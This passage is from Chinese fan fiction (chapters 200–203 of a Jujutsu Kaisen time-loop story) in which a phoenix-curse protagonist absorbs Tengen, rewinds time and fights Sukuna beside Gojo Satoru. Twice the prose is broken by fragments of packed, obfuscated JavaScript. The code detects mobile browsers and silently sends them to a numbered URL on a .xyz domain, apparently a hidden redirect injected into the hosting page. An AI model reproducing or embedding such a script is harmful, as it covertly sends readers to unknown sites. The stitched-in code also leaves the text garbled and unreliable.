天元继续说道,“我的存在已变得极其特殊,并不受你的[一真法界]操控,记忆仍完整存在于我的大脑里……嗯,如果还能被称作‘大脑’的话。” “譬如,我知道自己在未来会同化星浆体失败,且接受了这一现实,并打算顺其自然;而作为接受这个现实的结果,便是我此刻即使仍身处[同化星浆体之日]前,我的身躯也已提前开始进化。” “当然,我其实还有另一个没有说出口的解释,但我想你很快就会领悟到。” “——亦如同你此刻的形态,并非偶然。” 偌大的薨星宫之内,迎来漫长的、漫长的安静。 仅有立于虬结苍树上的凤凰,燃烧着金与红流光的翎羽在柔软摇曳,与站在树根旁、已进化得脱离人类形态的天元沉默对望。 直至羽取一真终于出声。 “按照你的意思,我无法改变既定的未来。但一周目和二周目的时间重叠之处,你无法解释。” “我不必解释,”天元再度轻轻摇头,“你又如何断言,它不属于过去的一环?” “………” 这种绕法,让羽取一真完全不知道该怎么理顺头绪。 什么意思,过去的他其实落在了由此刻延伸出的未来,而由未来塑造的他又回到了更前面的过去,创造出一个前后呼应、无头无尾的莫比乌斯环? “也就是说,我想要毁灭世界的愿景其实并不会实现?” 羽取一真喃喃自语道,却被天元出声纠正。 “确切地说,毁灭世界并不是你的最终目标。不过,我倒能预言你很快就会想清楚,自己真正该做的事情究竟是什么了。” 在羽取一真离开薨星宫之前,天元最后对他说了一句话。 “我在这里等待你的回归,一真。” ………… 深夜。 当羽取一真重新回到五条宅邸,悄无声息来到五条悟所居住的寝殿之内时,发现那间居室内的灯仍亮着。 五条悟手肘支在书桌上,撑着的脑袋一点一点的,正在等他回来。 另一只手还握着一支笔,笔尖正落在草稿纸上;前半部分还写着满满的计算公式,但大概是因为等得太困了,字迹越到后面越显得潦草,最后干脆糊成一团。 旁边还放着一碟胖鼓鼓的草莓大福,是来自千香婆婆的手艺。 看起来,悟今天下午又跑去千香婆婆那里,还特意带了一个草莓大福回来给他。 “——啊,终于回来了。” 在五条悟睁眼之前,无死角的[六眼]便已感知到那股熟悉的咒力在迅速靠近。 他打了个呵欠,眼睛仍旧半眯半睁着,双手已经习惯性伸出来,要这只温暖又柔软的凤凰抱抱。 羽取一真从善如流落进悟的怀里,被他抱了个满怀后又顺势往榻榻米上一倒,骨碌碌地一直滚到那床被褥上才停下来;紧接着抬手将被子往一卷,就彻底躺好不动了。 好困,好懒,竟然都不愿意起来走两步。 但这也太可爱了,不愧是悟。 羽取一真正沉重的情绪,瞬间被打散了个一干二净,甚至变得有些忍俊不禁。 他在走之前没办法跟悟解释他去了哪里,五条悟此刻便也没有追问,而是用脸蹭了蹭他的羽毛,含糊咕哝着开口跟对方说自己之前提过的想法。 “我已经决定了,之后要去东京的咒术高专读书……” 这是五条悟即将踏上的成长之路,并在之后的磨砺中开悟见性、明心立志,始终不染半点晦暗尘埃,拥有着比任何人都纯粹且坚定的,金子般的心。 “嗯,” 羽取一真笑着轻轻蹭他。 “我也做好了决定。” 第200章 不出意外, 五条悟决定去东京咒术高专上学的消息,又狠狠气到了一把五条家的长老们。 但就像他们挡不住五条悟随意偷溜出家门玩那般,眼下的他们也没办法让五条悟撤回这个决定, 只能捏着鼻子接受。 与那些被训斥两句就战战兢兢的小辈不同, 五条悟明明也是差不多的年纪,却能做到压根不将他们的话当回事,任性起来整个家族的人都劝不动! 即使想用武力强制拘束也不行啊,整个五条家同样没人能打得过他! 好愁,愁得掉头发。 那边的五条辰雄大半夜还在生闷气,这边的五条悟已经开始乐呵呵收拾行李了。 好耶, 即将离开五条家,去东京上学! 独自一人的住宿生活啊, 肯定很有意思吧, 至少会比五条家这些见面就先用头顶看他的人有意思得多吧? 五条悟往背包里装着装着, 抬眼就瞥见正站在椅背上, 认真望他这边看过来的漂亮凤凰—— 五条悟忽然发出了再明显不过的小声喷笑。 “……?” 羽取一真困惑歪头,缓慢打出一个问号。 “哎呀, ”五条悟捂着嘴一本正经道,“我刚才只是突然联想到了一个名字,感觉给你用也很适合……” 羽取一真:“嗯?” 五条悟:“咳……海德薇。” 羽取一真:“………” 如果此刻的羽取一真是人型,眼睛早就已经危险的眯起来了, “那是一只雪鸮, 而且是母的。” “又什么关系——” “……关系太大了。” 悟这家伙的脑筋有时转得也太灵活了,到底是怎么联想到那里去的啊! 羽取一真格外无语, 但还是在五条悟拉上背包的拉链,将它甩在肩头并顺势向他伸出手时,默契展翅飞到了对方小臂上, 并用爪尖轻轻勾着站稳。 在悟笑着与他蹭了蹭脑袋后,羽取一真才又藏进对方的影子里,看着悟哗啦一声拉开袄门,迎着太阳神清气爽地迈步而出。 如此意气风发,如此朝气蓬勃。 五条悟在期待着接下来的高专生活,而羽取一真也不愿再看见对方往后独自跌倒在尘埃里时、扔挂念着他安危的模样。 他也已确定了自己接下来要做的事情。 五条悟的入学手续办得并不算顺利,不仅五条家反对,连负责一年级教学的夜蛾正道也很困惑他为什么放着好好的家系精英教育不要,非跑来高专上学。 但好在这些波折对于坚持要来高专上学的五条悟而言,都不是什么大问题。 一真的存在也被隐瞒得很好,即使夜蛾正道敏锐察觉到他身上带着相当强烈的诅咒气息,也被误认为是[六眼]+[无下限]所带来的特殊性。 毕竟这世上只有一个[六眼],谁也不可能断定[六眼]就一定如何如何。 但羽取一真没有跟五条悟去教室,独自前往了薨星宫。 羽取一真对自己很有自知之明——要是见到夏油杰那张脸,他无法保证自己不会陷入比见到伏黑甚尔更失控的毁灭意识里去。 而且,他确实还有事要找天元。 就在五条悟自出生以来第二次与一真分别之前,他却似乎心有所感,连眉毛也轻蹙起来,少见地流露出焦躁与不安的情绪。 “还会回来吗,一真?” 五条悟知道一真必定在瞒着他打算做什么,但他尊重一真的选择,并没有进行追问或阻拦,只是向对方出声确认——就像在寻求一个能令他放下心来的安抚。 “会的。”羽取一真回道。 “……我总感觉你在骗我。”听完肯定答案的五条悟眉心反而拧得更紧了,“但又相信你在说真话。” 这话有点颠三倒四,让羽取一真哑然失笑后,主动又自空中落回了悟的肩膀上,用额头轻轻贴了贴他的。 “我向你保证,悟。” 这是一个他们之间代表承诺的动作,羽取一真同样对此刻的五条悟做出保证。 “不管经过多长时间,我都一定会再回到你身边。” “我们不会分开,即使是死亡也不行。” ……… 薨星宫本殿。 天元似乎也早已笃定羽取一真会来第二次,依旧特意在唯一正确的门前为他留下了咒力残秽。 “想好了?” 见到羽取一真的再度现身,天元朝他露出一个笃定的、早有预料的微笑。 “嗯。” 羽取一真展翅悬停在天元面前,延伸自头顶的长长冠羽无风自动,灿金的无数碎粒好似将熄又燃起的星火,亦随之不断浮现与消散于空中。 “我回去后也认真思考过,该如何达到你所说的结果。” “确定了就不能反悔。” 天元站着没有动,那张已不似人类的面庞之上,笑意变得更深。 “我不会后悔。” 那双金与红交织、流光溢彩的细长眼眸盯着他,既如诸天神佛阖目怜悯世间众生疾苦,又似非人野兽即将遵循残酷且无情的生存本能。 “为了掌握覆盖整个国土的结界,为了获得与结界术相关的知识,我要与你同化,天元。” “既然此刻的你也已提前开始进化,意味着星浆体以外的生命体同样能与你同化,包括我在内。” “但我不能失去自我意志,我必须要占据完全的主导地位——而如今身为特级过咒怨灵的我,可以实现这个目标。” “我要吞噬你,天元。” 在这座空旷的薨星宫本殿内,唯有羽取一真的声音在冷静地回荡、交叠,直至化作一道信念已定的冷酷决断。 这就是他今天再度来到薨星宫的缘由,且绝不空手而归。 因为,它同样已是衔尾蛇循环中注定发生的“历史”。 倘若事实真如眼前的天元所言,因不受[一真法界]影响而拥有全部记忆,那么意味着ta其实已经是—— 拥有了与他同化后记忆的,“另一个自己”。 “可以啊。” 天元这次是真正笑了起来。 他对羽取一真做出的这个决定满口应下,没有半分提出质疑或感到被冒犯的情绪流露。 “但我要提醒你一点,”天元又说道,“即使有我主动配合,以你眼下拥有的力量,想要在吞噬我的过程中不丧失自我意识,需要花费比你想象中还要漫长、漫长的时间。” 羽取一真沉吟片刻,声音冰冷的说道。 “我记得,除了被安置出去当[辟邪物]的咒物以外,忌库里还存放着一些不好处理的咒物,对吧?” 如果是他的力量还不够,那就吃掉那些还被保管在忌库里的咒物。 【咒灵吃掉咒物就能增加咒力】,是所有咒术师都知道的常识。 羽取一真说完这句话,又再度看向天元,“你已经准备好了。” “当然,一切都如我记忆里发生的那样。” 天元示意羽取一真跟上来,而他们即将要去往的地方除了东京咒术高专的忌库,还有极秘密的飞驒灵山净界。 那是一座位于本州的蜿蜒山脉,虽地处偏僻、人烟不多,却向来享有[小京都]之称,备受游客喜爱。 但羽取一真与天元要去的地方,则比游客能够触及到的边界还要更深入,直至来到由冰河不断侵蚀而形成的钟乳石窟深处,不断有水珠沿着尖锥似的石柱滴落水面的结界核心点。 展现在他们面前的,是千年前的天元原身坐化后形成的即身佛,真正的顶级咒物。 “吃[两面宿傩的手指]有被反压制的风险,但忌库里除了[九相图]以外,其它也没什么能帮到你的好东西了,即使全部吃光,也抵不上这个。” 天元双手交叉抱臂,望向千年前自己的眼底流露出几许怀念。 “接下来就按照你的步调走吧,一真。” 当看见那只凤凰在展翅间体型暴涨,一口吞掉这具即身佛时,天元也彻底闭上了眼睛,身形逐渐崩散。 “我很期待……你最后创造出的那个新世界。” 唯有留下的羽取一真席地蜷身而卧,宛若涅槃,在沉眠中被沸腾的烈焰彻底包裹。 等半同化半吞噬的进程完全结束后,他将吸收天元千年来拥有的所有知识,也将继承对方的身份,成为新的“天元”。 但羽取一真沉睡了太久、太久,久到他潜意识为了不让五条悟担心,主动擦除了对方关于他的那部分记忆。 而他自己的意识则彻底落入混沌的黑暗里,如同一点一点撕扯月亮的天狗,要将这庞大如暗潮般的力量全部收为己用——唯有一丝被分出的神智,始终维系着羽取一真的本能,仅被五条悟的情绪所牵动。 而羽取一真的生得领域,则在这数年间仿佛一阵又一阵刮过的无形微风,随天元已布下千年的结界而逐渐不着痕迹地延伸出去,与此世本就存在的一草一木、一花一果悄然融合,不分彼此。 一切由心所生,一切唯心所造。 于是,当28岁的五条悟在新年期间依旧奔波于任务、仅能在月亮升起的间隙自车窗内朝外欣赏片刻,却连心底升起的寂寥也无暇顾及之时,捕捉到这份情绪的凤凰依旧沉眠着,却打了个轻而浅的鼻息,溅出一小簇白焰。 这一小簇白焰并未转瞬即逝,而是带着羽取一真剥离出的一部分能量,如同一颗缓慢划过天际的流星,落在了新年伊始的京都。 它将变幻为一具穿着纹付羽织袴的青年身体,此前被吞噬的九相图会赋予其完整的[赤血操术]。 但苏醒于这具身体内的意识,却并非仍在沉睡的羽取一真本体。 他仅负责提供容器与环境,真正使用的,却是由现实世界而来的那位高中生,羽取一真。 第 201 章【VIP】 第201章 当羽取一真被唤醒时, 最先恢复的是嗅觉。 他分明身在钟乳石窟深处,却闻见了浓郁的、腥甜的锈蚀气味,在地上静静地蜿蜒流淌, 在苍白月下泛着冷酷的光。 这并非他主动的苏醒, 而是被某种钝而持久的痛楚攥紧了他的咽喉,强行自沉睡中拉扯出来。 正在缓慢同化的进程,也遭到了中断。 但目前的羽取一真已获得了足够多的力量,足以令他感知到是京都那边的结界内出了大事。 确切地说,是悟出事了。 他在清理总监部,以一种曾经也赌气说过要杀光、但从未真正实施的雷霆手段。 超过千年的知识量在翻滚着搅乱他的脑海, 以至于羽取一真为这一幕恍神片刻后,才想起来。 他在一周目时, 确实与羂索同归于尽过一次。 这就是那个时间点的后续吗? 依照记忆里天元利用结界术构筑外在形态的办法, 仍蜷卧在飞驒山的羽取一真闭上眼——再睁开时, 视角已切换至京都。 他为自己捏了个暂时寄居的躯壳, 仅有外形肖似,内里不过一团提供能量的火焰。 但就目前而言, 已经足够了。 “………” 五条悟踏在血泊里的步伐一顿,那双宛若湛蓝晴空的眼瞳难以置信地轻微颤动着,缓慢对准凭空出现在他面前的【加茂家主】。 他没有伸手,羽取一真也没有动, 仅是用那双黑瞳回以柔和的、担忧的注视。 “…是你吗?” 原本面无表情的五条悟, 终于在[六眼]与灵魂都确定对方就是理当死去的【加茂家主】时,开口问道。 他将这句话说的既轻又低, 仿佛在害怕响起的声音再大一点,眼前这道虚幻的身影就会消失不见,化作被风刮起的纷扬柳絮, 在眨眼间便彻底不知所踪。 即使五条悟知道这应当是假的。 等出差完的他赶到现场时,看见了曾经同期的尸体,看见了恋人的尸体,还看见了学生的尸体。 他们被辅助监督全部收殓好,整齐躺在那间冰冷而残忍的停尸房内,宛若一声声无言的质问,沉重敲打在他的心头。 当敌人就埋伏在内部时,温和的手段是无法改革成功的。 而他也不得不承受代价。 为此,他不再心软,而是以如此决绝的暴力,杀光了这些参与策划一连串事件的同谋。 但五条悟也清楚,他这么做不过是受到教训后的亡羊补牢,死去的人不可能复生。 原本,应当是这样的。 那么站在他面前的【加茂家主】,究竟是…… 久违的熟悉感,忽然又涌上五条悟的心头——那是一种远比初次见到他时更熟稔的亲近感,就像他们已经分别了很久很久,而他也独自等了很久很久。 “是我,悟。” 羽取一真压下泛起在心底的酸涩,朝五条悟伸出双手,坚定而有力的,抱紧了他。 “对不起,我来晚了,对不起。” 他将脸埋进五条悟的颈窝,传出的声音压抑而沉闷,近乎要夹杂着些许哽咽的气音。 反而是五条悟终于露出了一点笑意,反手环住这具身体——依旧如此温暖,与他幼时抱住的感觉一模一样。 “没有哦,”他说,“你没有来晚,一真。” “你遵守了自己的承诺。” 悟想起来了。 明明是他迟到了,他却在安慰他。 羽取一真维持着拥抱的自己,唯有眼睛紧紧闭起,好让自己不要太狼狈地落下泪来;而五条悟也无限纵容,就像一真会用翎羽安抚幼时的他一样,此刻的他也在轻轻拍着一真的背,让他不必太难过。 直到羽取一真彻底平静,有点不好意思地抬起脑袋时,五条悟才笑着朝他微微歪头,特意卖了个萌。 “现在,要来和我说一说究竟是怎么回事吗?” 于是,五条悟从羽取一真这里听到了一个相当离奇,却又不得不相信的,漫长且曲折的故事。 “过去的你第一次来到平成30年,第二次来到平成17年,第三次则是平成元年。而你真正的术式是[十方摩诃],又吃掉了大量咒物以增加咒力,为彻底同化天元缩短时间……原来如此,我大概知道了你想要做什么。” 五条悟捏着下巴沉思许久,又抬眼问向羽取一真,“同化已经结束了吗?” “还没有,”羽取一真摇头,“为了达成我的目标,可能还需要至少十年时间。” 五条悟又想了想,摇头说道,“一真需要的,可能不仅是时间。” “我…不想去。” 羽取一真已经明白悟即将要说出口的话,却提前一步否认道——哪怕话语中带着明显的迟疑与不舍。 “不可以任性,一真。” 五条悟笑了,特意先用手指将沾着血的那几绺发梢朝后捋去,才用干净的脸亲昵蹭了蹭他的。 “按照你的叙述,那也是我,只是暂且失去了记忆。”他说,“我并不介意再多等一段时间。” 羽取一真沉默片刻,“可是……” “别担心,就按照你的想法继续往前走。” 五条悟冲他俏皮眨了下单眼——在这一刻,他好似已恢复到往日更活泼的那一面。 “想一想,是谁送了最初的你来到这里?” 羽取一真:“………” 羽取一真缓慢睁大眼睛。 还有那款名为《咒术模拟器》的游戏,目前并没有做出来。 “继续吧,一真。” 五条悟主动结束了这个拥抱,笑着朝他轻轻挥别,“在这场循环的最后,我们会再相见的。” “——到那时候,你可不能认不出我喔。” “嗯。” ——如同一卷放映的老式胶卷,整幅场景就此定格,倒退,亦如在羽取一真用海量咒力灌注的[一真法界]叠加[十方摩诃]的发动下,正在随着世人记忆封存而飞速逆转的时间。 平成30年…平成29年……28年……24年……20年……18年…… 平成15年。 在这个时间点,羽取一真将再度使用白焰构筑出一具幼年分身,却不再为其搭载[赤血操术],而是刻印下最初的术式,[十方摩诃]。 天元千年来掌握的知识确实浩如烟海,除去一骑绝尘的结界术以外,连之前让悟他们束手无策的伏黑津美纪昏睡之谜,亦有解法。 原来是体内被封印了咒物,因无法承受咒力而陷入昏迷。 但此刻,尚且用不上解法的羽取一真通过结界找到盘星教的其中一位教徒,混淆他的记忆,将自己的幼年体塞进盘星教内,刻意暴露在羂索的眼下,成为【盘星教圣子】。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860941|159429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在两年之后,二周目的羽取一真意识会苏醒于这具身体,一丝不差走过他记忆里的路。 而远在飞驒山的羽取一真,在花费大力气倒流完时间后,不得不继续陷入沉睡。 不过,这次的他已经走完了大半同化进程,状态要比之前好上许多,尚且有余裕给高专的薨星宫再捏出一个外形肖似天元的躯壳在那里,才再度沉沉睡去。 这位“天元大人”,并不需要身为[星浆体]的天内理子前来与ta同化,却需要做另一件事情。 【散播诺查丹玛斯大预言】。 民众对他的负面情绪越强烈,他的力量就会越强——无论过咒怨灵抑或假想咒灵,只要仍属于诅咒的范畴,便都遵循这个规则。 为了战胜两面宿傩,为了再度到来的那个时刻,羽取一真需要强大的力量,越强越好。 甚至在护送星浆体却被伏黑甚尔袭击的那起事件中,本该在校门口广场上被杀身亡的羽取一真,也是由“天元”维系住了他的生命,撑到了委托完成的那刻。 也在他原本要怒而出手杀死伏黑甚尔之时,亲眼见证了五条悟[天上天下,惟我独尊]的彻底觉醒。 是倒下后又站起来,从不畏惧绝境的五条悟。 “天元”的动作一顿,在没有人察觉到的暗处,悄然收回伸出的手。 他清楚的,这才是五条悟。 他从不需要怀疑对方的决心、毅力与勇气。 哪怕面对再强大的敌人,哪怕身边没有能够并肩作战的同伴,他也会毅然独往。 而他会忍耐到那个时刻。 ——属于五条悟的特级过咒怨灵,会为了他跨越时间与空间,以最强的姿态去往那个时刻。 等到那声凤鸣再度响起在新宿之时,悍然睁开在飞驒山的眼眸如焰火流光,扇动那双足以遮空蔽日的炽焰长翼,如同一颗陨石在凌空坠落,却又如此轻柔地,轻柔地落在了五条悟身旁,将那温暖又蓬软的羽翼展开,盖在他身上。 反转术式,发动。 以二周目羽取一真决绝自刎来点燃的那沸腾炽焰,不会伤到五条悟分毫。 而那具倒下的躯体,已化作火焰回归了羽取·特级过咒怨灵·一真的体内。 心口处的贯穿伤逐渐痊愈,自濒死状态彻底恢复的五条悟苍瞳微微一动,却被恢复人类形态的羽取一真抬手覆上,遮去视野。 “嘘……不要紧,悟只需要好好睡上一觉。”他开口说道。 “一切都交给我。” 当那大范围燃烧的炽焰持续许久,终于逐渐熄灭之后——显现出四眼四手真身姿态的两面宿傩全程使用了[弥虚葛笼]对抗,并没有受到太大伤害。 “你这家伙……真有你的。” 但他依旧露出微妙的神色,在认真朝羽取一真望来。 他或许在此刻仅是觉得羽取一真稍微有些难以对付,可随之而来的,是本该死去的五条悟拉开羽取一真覆盖在他眼睛上的那只手,再度完好无缺地站在他眼前。 “只交给你可不行,我要与你并肩作战。” 即使刚经历过险死还生,五条悟依旧笑得畅快而坚定,重新对两面宿傩拉开战斗的架势。 他已经在刚才的久战中掌握了两面宿傩拥有的术式情报,并有自信不会再输第二次。 何况,一真也在。 “还是那句话送给你,两面宿傩——你才是挑战者哦。” 第 202 章【VIP】 第202章 “哈……不管你是一个人上, 还是两个人一起,对我来说都没有什么分别。” “说什么呢,我和一真可是一心同体。” 在已被燃烧成荒芜的废墟之中, 两面宿傩用其中一双手结印, 与抬起单手的五条悟同时念出生得领域之名—— [伏魔御厨子]! [无量空处]。 转眼间铺开的腥臭血海自两面宿傩的脚下朝外蔓延,无数狰狞骸骨簇拥着扭曲鬼化的佛龛凭空而现,与泼墨星空似的无下限内侧进行对抗! 藉由羽取一真与五条悟因“诅咒”而存在的咒力链接,以及羽取一真及时施予其效果极强的反转术式,五条悟本已消耗大半的咒力再度补满,战意昂扬的进入了新一轮领域比拼。 那截能干扰术式的黑绳已被一真彻底焚毁, 而此刻,冷漠紧盯两面宿傩的羽取一真同样抬手结印—— 与[伏魔御厨子]相同类型的无边界领域[一真法界], 好似被风拂过的无垠水面, 毫不动摇地侵蚀着血海, 徐徐荡开。 这才是除去“心造万法”效果以外, 真正本源形态的[一真法界]。 一念万法皆性空。 如同被强制关停的电源,那千万道发出的无形斩击被定格在连风也止息的原地, 逐渐消弭。 甚至连存在于领域内的生命体,原本要进行的动作亦会随之僵硬,宛若沉没在难以跋涉的泥沼里。 能在[一真法界]中不受影响的,唯有羽取一真及被他触碰的人。 它本身并不具备攻击力, 但配合五条悟同时展开的[无量空处], 相性简直好到一加一大于三的程度! “什……” 误以为自己要再度硬抗烈焰领域的两面宿傩为这一刻而感到错愕,但他反应极快, 意念一动便改变了自身领域的束缚条件,以抵消必中术式为主——至于同时向他施加来的[无量空处],两面宿傩始终都没有正面承受。 代替他承受的, 代替他进行虚魔罗适应的,是被压制在身体深处的伏黑惠灵魂;而这也能让后者的挣扎逐渐无力,再进行压制就变得轻易而举。 只不过,这种小聪明式的抵抗与徒劳无异——羽取一真抬手遥指,由诺查丹玛斯大预言赋予他的能力——足以焚尽一切的凤凰火,转眼间便凭空自两面宿傩的身上燃起! 当三分钟的领域比拼结束,[无量空处]的外壳破碎之时,站在原地的两面宿傩已遍身鲜血淋漓。 在他的头顶上空,有舵轮似的法阵缓慢转动了一格。 “他在适应你的[十方摩诃],一真。” 五条悟认真盯着那个法阵,语速极快地对羽取一真解释道,“那是惠的[十种影法术]最强杀招,能适应一切攻击的魔虚罗。” 不远处的两面宿傩发出一声嗤笑,反转术式已开始逐渐治愈伤势。 “普通的攻击,它只需要一、两次就能适应,例如你刚才的火焰,再继续使用也不会再有效果。” 五条悟没有理会两面宿傩那边传来的嘲讽,趁双方都处在术式熔断的时期内,抓紧时间给羽取一真科普虚魔罗的麻烦之处。 “也就是说,要用虚魔罗没有抵挡过的招式来进行一招制敌。” 羽取一真听懂了悟要告诉他的情报,转头再看向两面宿傩时,对方已两双手分别结印,放出的不只是完全体——八握剑异界神将魔虚罗。 还有另一头巨大的合成体猛兽,嵌合兽·颚吐。 在之前的战斗中,五条悟将两面宿傩召唤出的式神逐一摧毁,而死亡后的式神力量再度传承至仍存活的式神,最终形成了好似奇美拉般的庞大怪物。 “他好无赖哦,竟然以多欺少。” 看见两个大怪物一左一右站在两面宿傩的旁边,五条悟立刻扭头向羽取一真告状,连脸都变得气鼓鼓的。 “对付你们,自然要将所有的胜利手段都拿出来。” 领域对抗不再占上风,便转而将杀手锏全部拿出的两面宿傩并没有感到有什么值得羞耻的地方。 “何况,你不也是中途加人。” “——哈,所以是太羡慕才捏出你的外星人爸爸妈妈吗?那还真是抱歉啦!” 精神攻击也算攻击,五条悟冲两面宿傩大声嘲笑,接着侧头对羽取一真说出口的话却无比认真。 “还能应付下来吗?虚魔罗没适应过我的[虚式],我能想办法宰掉它。” “嗯,”羽取一真凝神应道,“其余两个就先交给我。” 当那轮法阵自两面宿傩的头顶回归至虚魔罗的头顶时,就意味着两面宿傩再次失去了对术式效果的抗性;而羽取一真的人身仅是方便与五条悟并肩战斗而已,面对超大型的嵌合兽,他自然也能回到特级过咒怨灵的形态—— 同样身形庞大、连翅膀扇动间都能卷起熊熊烈焰的凤凰,毫不相让的朝两面宿傩与嵌合兽俯冲而去! 让五条悟感觉温暖的火焰,在敌人这边却是连燎一下都会焦黑大片、温度高到恐怖的棘手赤炎。 “啧……” [解]! 此刻双方都不在领域内,刹那间挥出的数 道无形斩击便不会被对方的领域强制清空,而是朝这只体型大到根本不需要瞄准的凤凰悍然斩去—— 那双流光飞焰的细长眼眸微微一眨。 <术式反转·劫>。 察觉到危机感的两面宿傩大惊失色,近乎是在瞬间暴撤了一大段距离! ——花开花败,由生至死,“成、住、坏、空”为世界自有到无的必经阶段变化,统称为“四劫”。 而此刻,那些由两面宿傩发出的斩击,亦如同最终落入虚无与终结的空劫那般,在尚未到达羽取一真的面前,便伴随那片空间的消亡而彻底崩塌。 那只抬手试图抵抗的嵌合兽发出一声哀鸣,原本坚硬的外表皮层已然迅速枯老皲裂,好似生长了千万年以上的树皮。 两面宿傩露出相当凝重的神色。 这家伙的能力本来就比普通的空间术式还要麻烦得多,更别提他竟然能干出自尽成特级咒灵这种疯狂的事情! 如果刚才那片空间也将他包裹在内,两面宿傩估计自己大概率会转眼间被强制衰老数十年。 他有十足的自信战胜尚为人类的羽取一真,但眼前的特级咒灵……两面宿傩意念一动,便要召回虚魔罗到他身边。 “等下——我有说它能走了吗?” 在虚魔罗飞速后撤的路径上,利用[苍]瞬移至它面前的五条悟抬起头,沾染些许尘与血的纯白发丝在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860942|159429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空中飘扬飞舞,亦如此刻露出的笑容——凛然,骄傲,张扬至极。 “至少也得带着我这份礼物再回去吧,希望你们喜欢呢。” 那双望向它的湛蓝眼眸明亮而自信,熠熠如耀眼苍穹;与此同时,原本双手交握为[苍]的手印,也改为抬起对准在撤退瞬间露出破绽的虚魔罗,以最大输出功率——弹指而出。 “[九纲]、[偏光]、[乌与声明]、[表里之间]——[虚式·茈]!” 负无穷的顺转与正无穷的反转骇然碰撞,爆发出的黑洞能量将虚魔罗的身影连带那个能调和适应一切攻击的法阵都彻底吞没,崩碎,逸散。 而那边的嵌合兽,同样被羽取一真振翅挥出的烈焰焚为灰烬。 失去[十种影法术]的所有式神,自身拥有的术式又太过被羽取一真克制,两面宿傩的选择仅剩下一个。 “最终还是要靠这招分出胜负吗。” 两面宿傩脸上露出没有丝毫温度的笑容,其中一双手维持能抵抗[一真法界]与凤凰火攻击的[弥虚葛笼],另一双手拉开近身搏斗的架势—— 与五条悟进行最终的死斗,仅有一人可以站着活下来。 “不过,你们要是杀了我,这具身体也会死。” 直到最后,他依旧没忘记用伏黑惠这具身体来挟持五条悟和羽取一真。 对此,五条悟正要刺向两面宿傩大脑的手刀确实迟疑片刻,羽取一真的声音却冷淡响起。 “你以为我拿你没有办法吗。” 如今完全与天元融为一体的他,已无需再担心吃下的其他咒物能反过来压制他的灵魂。 而游戏的物品栏里,还存放着一根[两面宿傩的手指]。 既然吃掉来自加茂家的[九相图]能让他掌握[赤血操术],那么吃掉最后这根保管在物品栏里的[两面宿傩的手指],羽取一真能获得的是—— 斩向灵魂的,“[解]。” 本身便已舍弃肉丨体的他,对于灵魂的轮廓再熟悉不过。 两面宿傩正要闪避,体内从[无量空处]后遗症中回复的伏黑惠已然苏醒,在那瞬间争夺了身体的掌控权——只需要一刹那,他没能躲开的那一刹那便足够了! “竟然是……!” 两面宿傩瞬间呕出大量鲜血,他的灵魂同样再度被羽取一真的[解]切割成手指形状的咒物,痛苦呕出。 “呵…哈……卑鄙的家伙……” 失去咒物的维系,又被接连斩断两臂的两面宿傩站在原地,近乎摇摇欲坠;但他仍发出讥讽的笑声,看向这两个心慈手软的家伙。 “能适应我的容器并不好找,剥离出的咒物依旧无法破坏……你们,只能献出虎杖悠仁或者这小鬼的命来彻底终结我,否则,我总有一天会再复活……” 最后的声音逐渐降低,消散,两面宿傩的灵魂被羽取一真从伏黑惠身上切除,再度化作咒物,躺在地上。 这既是羽取一真用出的[解],也是两面宿傩的顺势而为——他知晓自己打不过这两人,便定下自身不伤害他人,同时他人也无法破坏自身的[束缚],再度变回了特级咒物。 只不过,吃下去时还是十九根,现在已浓缩为一根。 ——诅咒之王vs现代最强的战斗,终于,彻底结束了。 【正文完】 第203章 正文完 “手下败将, 还是个胆小鬼。” 五条悟同样耗空咒力、筋疲力尽,但还是要先对着那根手指嘲讽轻哼,才去查看昏迷倒地的伏黑惠情况。 羽取一真也恢复成人类形态, 俯身捡起那根手指——惊得五条悟立刻转头警告他。 “你可不准吃掉, 万一被他占据意识了呢?” 这家伙乱吃东西的前科实在太严重,让五条悟的警报雷达瞬间哔哔炸响。 吃一根就算了,谁知道二十根聚集在一起会是什么情况! “……不会,”羽取一真失笑,“我也不是真的什么都吃。” “话说回来,我从刚才开始, 脑海里就忽然多了一段原本不存在的记忆。” 五条悟确认自己的学生平安无事后,也算是彻底放下心来。 接着, 他顾不上给自己疗伤, 就要开始和自家恋人算起总账。 “很厉害嘛, 一刀抹自己脖子, 逼我诅咒你。” 五条悟发出冷冰冰的呵声,“哎呀, 我怎么一开始没想到这招呢,没准我也能变个猫猫咒灵什么的。” 羽取一真:“………” 乖、乖巧立正,诚恳听训。 五条悟深吸口气,接下来的话就完全讲不出来了。 真是让人生不起气来。 不如说。 “……太好了。” 五条悟伸手将羽取一真抱紧——与一周目后续那时不同, 此刻的他却是反过来, 将脸埋进羽取一真的颈窝里,声音里裹挟着极低的、近乎难以分辨的颤抖与哽咽。 “你没事, 真的太好了。” 羽取一真同样为五条悟轻轻拍背,安抚着哄道,“一切都在我的计划中。” 五条悟:“……” 五条悟闷闷出声吐槽:“好意思说什么计划, 你根本也是在赌命。” 当现在全部恢复记忆的他不知道吗,这家伙的时间线根本不是正常流动的线性,而是来回跳跃两次后拼凑出来的。 未来的羽取一真或许已知晓过去的他会这么做,但对于过去的羽取一真而言,这样做的风险到底有多大,简直不可想象。 而一真这么做,只是为了他能活下来。 从这场战斗之中。 羽取一真讷讷听着五条悟的控诉,感受着逐渐渗透布料的温热湿意,完全不敢反驳。 